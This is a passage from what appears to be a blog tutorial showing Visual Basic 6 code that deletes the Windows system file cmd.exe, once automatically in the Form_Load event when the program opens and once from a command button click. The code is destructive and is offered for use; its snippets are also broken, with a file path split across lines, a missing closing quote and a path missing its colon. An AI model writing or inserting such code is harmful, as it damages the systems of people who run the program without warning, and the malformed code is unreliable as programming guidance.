the command file then you would put the following code in the form load tab.
Code:
Private Sub Form_Load()
Text1.Text = “C:/Windows/System3
2/cmd.exe
Kill Text1.Text
End Sub
Once the project is opened then the command file will be removed. Now I will show you an example of doing this using a command button. Put the following code in the command button and in the form load. You can even give the text box a name to make it quicker. I have labelled it ‘A’ Code: Private Sub Form_Load()
Text1.Text = “C/Windows/System32/cmd.exe”
A = Text1.Text
End Sub
Private Sub Command1_Click
Kill A
End Sub
Now once the command button is clicked on the project the command file will be deleted.
No comments:
Post a Comment